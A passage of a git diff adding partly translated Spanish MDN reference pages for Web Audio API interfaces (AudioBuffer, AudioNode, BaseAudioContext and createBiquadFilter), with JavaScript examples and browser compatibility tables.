+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] As of Chrome 45, this property no longer inherits from Node.</p>
diff --git a/files/es/web/api/audiobuffer/index.html b/files/es/web/api/audiobuffer/index.html
new file mode 100644
index 0000000000..1909323a6d
--- /dev/null
+++ b/files/es/web/api/audiobuffer/index.html
@@ -0,0 +1,108 @@
+---
+title: AudioBuffer
+slug: Web/API/AudioBuffer
+translation_of: Web/API/AudioBuffer
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p>La interfaz <strong><code>AudioBuffer</code></strong> representa un pequeño recurso de audio que se almacena en memoria, creado a partir de un archivo de audio usando el método {{ domxref("AudioContext.decodeAudioData()") }}, o de datos en bruto con el método {{ domxref("AudioContext.createBuffer()") }}. Una véz cargado en AudioBuffer, el audio puede ser reproducido pasandolo en el método {{ domxref("AudioBufferSourceNode") }}.</p>
+
+<p>Objetos de este tipo son diseñados para almacenar pequeños trozos de audio, normalmente menos de 45 segundos. Para audios más extensos, los objectos implementan  {{domxref("MediaElementAudioSourceNode")}} que es más adecuado. El buffer contiene data en el siguiente formado: non-interleaved IEEE754 32-bit linear PCM with a nominal range between <code>-1</code> and <code>+1</code>, that is, 32bits floating point buffer, with each samples between -1.0 and 1.0. If the {{domxref("AudioBuffer")}} has multiple channels, they are stored in separate buffer.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}</dt>
+ <dd>Crea y retorna una nueva instancia de <code>AudioBuffer</code> </dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Returns a float representing the sample rate, in samples per second, of the PCM data stored in the buffer.</dd>
+ <dt>{{domxref("AudioBuffer.length")}} {{readonlyInline}}</dt>
+ <dd>Returns an integer representing the length, in sample-frames, of the PCM data stored in the buffer.</dd>
+ <dt>{{domxref("AudioBuffer.duration")}} {{readonlyInline}}</dt>
+ <dd>Returns a double representing the duration, in seconds, of the PCM data stored in the buffer.</dd>
+ <dt>{{domxref("AudioBuffer.numberOfChannels")}} {{readonlyInline}}</dt>
+ <dd>Returns an integer representing the number of discrete audio channels described by the PCM data stored in the buffer.</dd>
+</dl>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>{{domxref("AudioBuffer.getChannelData()")}}</dt>
+ <dd>Returns a {{jsxref("Float32Array")}} containing the PCM data associated with the channel, defined by the <code>channel</code> parameter (with <code>0</code> representing the first channel).</dd>
+ <dt>{{domxref("AudioBuffer.copyFromChannel()")}}</dt>
+ <dd>Copies the samples from the specified channel of the <span class="idlType"><code>AudioBuffer</code></span> to the <code>destination</code> array.</dd>
+ <dt>{{domxref("AudioBuffer.copyToChannel()")}}</dt>
+ <dd>Copies the samples to the specified channel of the <span class="idlType"><code>AudioBuffer</code></span>, from the <code>source</code> array.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>El siguiente ejemplo muestra como se crea un <code>AudioBuffer</code>  y rellena con un sonido blanco aleatorio. Puedes encontrar el código completo en nuestro repositorio: <a href="https://github.com/mdn/webaudio-examples">webaudio-examples</a>; y una versión disponible: <a href="https://mdn.github.io/webaudio-examples/audio-buffer/">running live</a></p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+// Create an empty three-second stereo buffer at the sample rate of the AudioContext
+var myArrayBuffer = audioCtx.createBuffer(2, audioCtx.sampleRate * 3, audioCtx.sampleRate);
+
+// Fill the buffer with white noise;
+// just random values between -1.0 and 1.0
+for (var channel = 0; channel &lt; myArrayBuffer.numberOfChannels; channel++) {
+  // This gives us the actual array that contains the data
+  var nowBuffering = myArrayBuffer.getChannelData(channel);
+  for (var i = 0; i &lt; myArrayBuffer.length; i++) {
+    // Math.random() is in [0; 1.0]
+    // audio needs to be in [-1.0; 1.0]
+    nowBuffering[i] = Math.random() * 2 - 1;
+  }
+}
+
+// Get an AudioBufferSourceNode.
+// This is the AudioNode to use when we want to play an AudioBuffer
+var source = audioCtx.createBufferSource();
+
+// set the buffer in the AudioBufferSourceNode
+source.buffer = myArrayBuffer;
+
+// connect the AudioBufferSourceNode to the
+// destination so we can hear the sound
+source.connect(audioCtx.destination);
+
+// start the source playing
+source.start();
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audiobuffer-interface', 'AudioBuffer')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div>
+<div class="hidden">La tabla de compatibilidades en esta página está generada por una data estructurada. Si te gustaria contribuir incluyendo data, por favor reviza <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envianos un pull request.</div>
+
+<p>{{Compat("api.AudioBuffer")}}</p>
+</div>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/es/web/api/audionode/index.html b/files/es/web/api/audionode/index.html
new file mode 100644
index 0000000000..ea6ff34406
--- /dev/null
+++ b/files/es/web/api/audionode/index.html
@@ -0,0 +1,154 @@
+---
+title: AudioNode
+slug: Web/API/AudioNode
+translation_of: Web/API/AudioNode
+---
+<div>{{APIRef("Web Audio API")}}</div>
+
+<p>La interfaz <strong><code>AudioNode</code></strong> es una interfaz genérica para representar un módulo de procesamiento de audio. Ejemplos:</p>
+
+<ul>
+ <li>En un recurso de audio (e.g. an HTML {{HTMLElement("audio")}} or {{HTMLElement("video")}} element, an {{domxref("OscillatorNode")}}, etc.),</li>
+ <li>the audio destination,</li>
+ <li>intermediate processing module (e.g. a filter like {{domxref("BiquadFilterNode")}} or {{domxref("ConvolverNode")}}), or</li>
+ <li>volume control (like {{domxref("GainNode")}})</li>
+</ul>
+
+<p>{{InheritanceDiagram}}</p>
+
+<p class="note"><strong>Note</strong>: An <code>AudioNode</code> can be target of events, por lo tanto este implementa  {{domxref("EventTarget")}} interface.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<h3 id="The_audio_routing_graph">The audio routing graph</h3>
+
+<p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="display: block; height: 230px; margin: 0px auto; width: 677px;"></p>
+
+<p>Cada <code>AudioNode</code> posee entradas y salidas, y múltiples nodos de audio son conectados para construir un <em>processing graph</em>. Este graph es contenido en {{domxref("AudioContext")}}, y cada nodo de audio solo puede pertecener a un audio context.</p>
+
+<p>Un <em>source node</em> tiene cero entradas pero una o muchas salidas, y puede ser usado para generar sonido. Por otro lado, un <em>destination node</em> no tiene salidas; instead, all its inputs are directly played back on the speakers (or whatever audio output device the audio context uses). In addition, there are <em>processing nodes</em> which have inputs and outputs. The exact processing done varies from one <code>AudioNode</code> to another but, in general, a node reads its inputs, does some audio-related processing, and generates new values for its outputs, or simply lets the audio pass through (for example in the {{domxref("AnalyserNode")}}, where the result of the processing is accessed separately).</p>
+
+<p>The more nodes in a graph, the higher the latency will be. Por ejemplo, si tu graph tiene una latencia de 500ms, Cuando el source node reproduzca un sonido, este va a tomar la mitad de un segundo hasta que el sonido pueda ser escuchado en tus altavoces. (or even longer because of latency in the underlying audio device). Por lo tanto, si tu necesitas tener un audio interactivo, keep the graph as small as possible, and put user-controlled audio nodes at the end of a graph. For example, a volume control (<code>GainNode</code>) should be the last node so that volume changes take immediate effect.</p>
+
+<p>Each input and output has a given amount of <em>channels</em>. For example, mono audio has one channel, while stereo audio has two channels. The Web Audio API will up-mix or down-mix the number of channels as required; check the Web Audio spec for details.</p>
+
+<p>For a list of all audio nodes, see the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> homepage.</p>
+
+<h3 id="Creating_an_AudioNode">Creating an <code>AudioNode</code></h3>
+
+<p>There are two ways to create an <code>AudioNode</code>: via the <em>constuctor</em> and via the <em>factory method</em>.</p>
+
+<pre class="brush: js;">// constructor
+const analyserNode = new AnalyserNode(audioCtx, {
+  fftSize: 2048,
+  maxDecibels: -25,
+  minDecibels: -60,
+  smoothingTimeConstant: 0.5,
+});
+
+// factory method
+const analyserNode = audioCtx.createAnalyser();
+analyserNode.fftSize = 2048;
+analyserNode.maxDecibels = -25;
+analyserNode.minDecibels = -60;
+analyserNode.smoothingTimeConstant = 0.5;</pre>
+
+<p>Eres libre de usar cualquiera de los constructors o factory methods, o una mezcla de ambos, sin embargo hay ventajas al usar contructores:</p>
+
+<ul>
+ <li>All parameters can be set during construction time and don't need to be set individually.</li>
+ <li>You can <a href="https://github.com/WebAudio/web-audio-api/issues/251">sub-class an audio node</a>. While the actual processing is done internally by the browser and cannot be altered, you could write a wrapper around an audio node to provide custom properties and methods.</li>
+ <li>Slightly better performance: In both Chrome and Firefox, the factory methods call the constructors internally.</li>
+</ul>
+
+<p>Tener en cuenta que Microsoft Edge does not yet appear to support the constructors; it will throw a "Function expected" error when you use the constructors.</p>
+
+<p><em>Brief history:</em> The first version of the Web Audio spec only defined the factory methods. After a <a href="https://github.com/WebAudio/web-audio-api/issues/250">design review in October 2013</a>, it was decided to add constructors because they have numerous benefits over factory methods. The constructors were added to the spec from August to October 2016. Factory methods continue to be included in the spec and are not deprecated.</p>
+
+<h2 id="Properties" style="">Properties</h2>
+
+<dl>
+ <dt>{{domxref("AudioNode.context")}} {{readonlyInline}}</dt>
+ <dd>Returns the associated {{domxref("BaseAudioContext")}}, that is the object representing the processing graph the node is participating in.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of inputs feeding the node. Source nodes are defined as nodes having a <code>numberOfInputs</code> property with a value of <code>0</code>.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}</dt>
+ <dd>Returns the number of outputs coming out of the node. Destination nodes — like {{ domxref("AudioDestinationNode") }} — have a value of <code>0</code> for this attribute.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.channelCount")}}</dt>
+ <dd>Represents an integer used to determine how many channels are used when <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> connections to any inputs to the node. Its usage and precise definition depend on the value of {{domxref("AudioNode.channelCountMode")}}.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AudioNode.channelCountMode")}}</dt>
+ <dd>Represents an enumerated value describing the way channels must be matched between the node's inputs and outputs.</dd>
+ <dt>{{domxref("AudioNode.channelInterpretation")}}</dt>
+ <dd>Represents an enumerated value describing the meaning of the channels. This interpretation will define how audio <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> will happen.<br>
+ The possible values are <code>"speakers"</code> or <code>"discrete"</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Also implements methods from the interface </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("AudioNode.connect()")}}</dt>
+ <dd>Allows us to connect the output of this node to be input into another node, either as audio data or as the value of an {{domxref("AudioParam")}}.</dd>
+ <dt>{{domxref("AudioNode.disconnect()")}}</dt>
+ <dd>Allows us to disconnect the current node from another one it is already connected to.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>This simple snippet of code shows the creation of some audio nodes, and how the <code>AudioNode</code> properties and methods can be used. You can find examples of such usage on any of the examples linked to on the <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> landing page (for example <a href="https://github.com/mdn/violent-theremin">Violent Theremin</a>.)<span class="p"> </span></p>
+
+<pre class="brush: js;">const audioCtx = new AudioContext();
+
+const oscillator = new OscillatorNode(audioCtx);
+const gainNode = new GainNode(audioCtx);
+
+oscillator.connect(gainNode).connect(audioCtx.destination);
+
+oscillator.context;
+oscillator.numberOfInputs;
+oscillator.numberOfOutputs;
+oscillator.channelCount;</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.AudioNode")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/es/web/api/baseaudiocontext/createbiquadfilter/index.html b/files/es/web/api/baseaudiocontext/createbiquadfilter/index.html
new file mode 100644
index 0000000000..b94165b364
--- /dev/null
+++ b/files/es/web/api/baseaudiocontext/createbiquadfilter/index.html
@@ -0,0 +1,130 @@
+---
+title: BaseAudioContext.createBiquadFilter()
+slug: Web/API/BaseAudioContext/createBiquadFilter
+translation_of: Web/API/BaseAudioContext/createBiquadFilter
+---
+<p>{{ APIRef("Web Audio API") }}</p>
+
+<div>
+<p>El metodo <code>createBiquadFilter()</code> de la interfaz {{ domxref("BaseAudioContext") }} crea un {{ domxref("BiquadFilterNode") }}, el cual representa un filtro de segundo orden configurable, asi como varios tipos de filtros comunes diferentes.</p>
+</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var biquadFilter = audioCtx.createBiquadFilter();</pre>
+
+<h3 id="Description" name="Description">Retorna</h3>
+
+<p>Un {{domxref("BiquadFilterNode")}}.</p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<p>El siguiente ejemplo muestra el uso básico de un AudioContext para crear un nodo de filtro Biquad. Para ver el ejemplo trabanjando completamente, mire nuestra demostración <a href="http://mdn.github.io/voice-change-o-matic/">voice-change-o-matic</a> (mirar tambien <a href="https://github.com/mdn/voice-change-o-matic">source code</a>).</p>
+
+<pre class="brush: js">var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+// Configurar los diferentes nodos de audio que usaremos para la aplicación.
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+var convolver = audioCtx.createConvolver();
+
+// conectar los nodos juntos
+
+source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// Manipule el filtro Biquad
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estados</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#dom-baseaudiocontext-createbiquadfilter', 'createBiquadFilter()')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_el_navegador">Compatibilidad con el navegador</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0 {{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_tambien">Ver tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/es/web/api/baseaudiocontext/index.html b/files/es/web/api/baseaudiocontext/index.html
new file mode 100644
index 0000000000..593f535ef0
--- /dev/null
+++ b/files/es/web/api/baseaudiocontext/index.html
@@ -0,0 +1,293 @@
+---
+title: BaseAudioContext
+slug: Web/API/BaseAudioContext
+tags:
+  - API
+  - Audio
+  - BaseAudioContext
+  - Interface
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web Audio API
+translation_of: Web/API/BaseAudioContext
+---
+<p>{APIRef("Web Audio API")}}</p>
+
+
+<p>The <code>BaseAudioContext</code> interface acts as a base definition for online and offline audio-processing graphs, as represented by {{domxref("AudioContext")}} and {{domxref("OfflineAudioContext")}} resepectively. You wouldn't use <code>BaseAudioContext</code> directly — you'd use its features via one of these two inheriting interfaces.</p>
+
+<p>A <code>BaseAudioContext</code> can be a target of events, therefore it implements the {{domxref("EventTarget")}} interface.</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("BaseAudioContext.baseLatency")}} {{readonlyinline}}</dt>
+ <dd>Returns a double epresents the number of seconds of processing latency incurred by the AudioContext passing the audio from the AudioDestinationNode to the audio subsystem. </dd>
+ <dt>{{domxref("BaseAudioContext.currentTime")}} {{readonlyInline}}</dt>
+ <dd>Returns a double representing an ever-increasing hardware time in seconds used for scheduling. It starts at <code>0</code>.</dd>
+ <dt>{{domxref("BaseAudioContext.destination")}} {{readonlyInline}}</dt>
+ <dd>Returns an {{domxref("AudioDestinationNode")}} representing the final destination of all audio in the context. It can be thought of as the audio-rendering device.</dd>
+ <dt>{{domxref("BaseAudioContext.listener")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("AudioListener")}} object, used for 3D spatialization.</dd>
+ <dt>{{domxref("BaseAudioContext.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>Returns a float representing the sample rate (in samples per second) used by all nodes in this context. The sample-rate of an {{domxref("AudioContext")}} cannot be changed.</dd>
+ <dt>{{domxref("BaseAudioContext.state")}} {{readonlyInline}}</dt>
+ <dd>Returns the current state of the <code>AudioContext</code>.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("BaseAudioContext.onstatechange")}}</dt>
+ <dd>An event handler that runs when an event of type {{event("statechange")}} has fired. This occurs when the <code>AudioContext</code>'s state changes, due to the calling of one of the state change methods ({{domxref("AudioContext.suspend")}}, {{domxref("AudioContext.resume")}}, or {{domxref("AudioContext.close")}}).</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Also implements methods from the interface </em>{{domxref("EventTarget")}}.</p>
+
+<dl>
+ <dt>{{domxref("BaseAudioContext.createBuffer()")}}</dt>
+ <dd>Creates a new, empty {{ domxref("AudioBuffer") }} object, which can then be populated by data and played via an {{ domxref("AudioBufferSourceNode") }}.</dd>
+ <dt>{{domxref("BaseAudioContext.createConstantSource()")}}</dt>
+ <dd>Creates a {{domxref("ConstantSourceNode")}} object, which is an audio source that continuously outputs a monaural (one-channel) sound signal whose samples all have the same value.</dd>
+ <dt>{{domxref("BaseAudioContext.createBufferSource()")}}</dt>
+ <dd>Creates an {{domxref("AudioBufferSourceNode")}}, which can be used to play and manipulate audio data contained within an {{ domxref("AudioBuffer") }} object. {{ domxref("AudioBuffer") }}s are created using {{domxref("AudioContext.createBuffer")}} or returned by {{domxref("AudioContext.decodeAudioData")}} when it successfully decodes an audio track.</dd>
+ <dt>{{domxref("BaseAudioContext.createScriptProcessor()")}}</dt>
+ <dd>Creates a {{domxref("ScriptProcessorNode")}}, which can be used for direct audio processing via JavaScript.</dd>
+ <dt>{{domxref("BaseAudioContext.createStereoPanner()")}}</dt>
+ <dd>Creates a {{domxref("StereoPannerNode")}}, which can be used to apply stereo panning to an audio source.</dd>
+ <dt>{{domxref("BaseAudioContext.createAnalyser()")}}</dt>
+ <dd>Creates an {{domxref("AnalyserNode")}}, which can be used to expose audio time and frequency data and for example to create data visualisations.</dd>
+ <dt>{{domxref("BaseAudioContext.createBiquadFilter()")}}</dt>
+ <dd>Creates a {{domxref("BiquadFilterNode")}}, which represents a second order filter configurable as several different common filter types: high-pass, low-pass, band-pass, etc.</dd>
+ <dt>{{domxref("BaseAudioContext.createChannelMerger()")}}</dt>
+ <dd>Creates a {{domxref("ChannelMergerNode")}}, which is used to combine channels from multiple audio streams into a single audio stream.</dd>
+ <dt>{{domxref("BaseAudioContext.createChannelSplitter()")}}</dt>
+ <dd>Creates a {{domxref("ChannelSplitterNode")}}, which is used to access the individual channels of an audio stream and process them separately.</dd>
+ <dt>{{domxref("BaseAudioContext.createConvolver()")}}</dt>
+ <dd>Creates a {{domxref("ConvolverNode")}}, which can be used to apply convolution effects to your audio graph, for example a reverberation effect.</dd>
+ <dt>{{domxref("BaseAudioContext.createDelay()")}}</dt>
+ <dd>Creates a {{domxref("DelayNode")}}, which is used to delay the incoming audio signal by a certain amount. This node is also useful to create feedback loops in a Web Audio API graph.</dd>
+ <dt>{{domxref("BaseAudioContext.createDynamicsCompressor()")}}</dt>
+ <dd>Creates a {{domxref("DynamicsCompressorNode")}}, which can be used to apply acoustic compression to an audio signal.</dd>
+ <dt>{{domxref("BaseAudioContext.createGain()")}}</dt>
+ <dd>Creates a {{domxref("GainNode")}}, which can be used to control the overall volume of the audio graph.</dd>
+ <dt>{{domxref("BaseAudioContext.createIIRFilter()")}}</dt>
+ <dd>Creates an {{domxref("IIRFilterNode")}}, which represents a second order filter configurable as several different common filter types.</dd>
+ <dt>{{domxref("BaseAudioContext.createOscillator()")}}</dt>
+ <dd>Creates an {{domxref("OscillatorNode")}}, a source representing a periodic waveform. It basically generates a tone.</dd>
+ <dt>{{domxref("BaseAudioContext.createPanner()")}}</dt>
+ <dd>Creates a {{domxref("PannerNode")}}, which is used to spatialise an incoming audio stream in 3D space.</dd>
+ <dt>{{domxref("BaseAudioContext.createPeriodicWave()")}}</dt>
+ <dd>Creates a {{domxref("PeriodicWave")}}, used to define a periodic waveform that can be used to determine the output of an {{ domxref("OscillatorNode") }}.</dd>
+ <dt>{{domxref("BaseAudioContext.createWaveShaper()")}}</dt>
+ <dd>Creates a {{domxref("WaveShaperNode")}}, which is used to implement non-linear distortion effects.</dd>
+ <dt>{{domxref("BaseAudioContext.decodeAudioData()")}}</dt>
+ <dd>Asynchronously decodes audio file data contained in an {{domxref("ArrayBuffer")}}. In this case, the ArrayBuffer is usually loaded from an {{domxref("XMLHttpRequest")}}'s <code>response</code> attribute after setting the <code>responseType</code> to <code>arraybuffer</code>. This method only works on complete files, not fragments of audio files.</dd>
+ <dt>{{domxref("BaseAudioContext.resume()")}}</dt>
+ <dd>Resumes the progression of time in an audio context that has previously been suspended/paused.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Basic audio context declaration:</p>
+
+<pre class="brush: js">var audioCtx = new AudioContext();</pre>
+
+<p>Cross browser variant:</p>
+
+<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#BaseAudioContext', 'BaseAudioContext')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>baseLatency</code></td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>createConstantSource()</code></td>
+   <td>{{CompatChrome(56)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(52)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(43)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>createStereoPanner()</code></td>
+   <td>{{CompatChrome(42)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(37.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onstatechange</code>, <code>state</code>, <code>suspend()</code>, <code>resume()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(40.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatSafari(8.0)}}</td>
+  </tr>
+  <tr>
+   <td>Unprefixed</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>2.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>baseLatency</code></td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatChrome(60)}}</td>
+   <td>{{CompatUnknown}}</td>
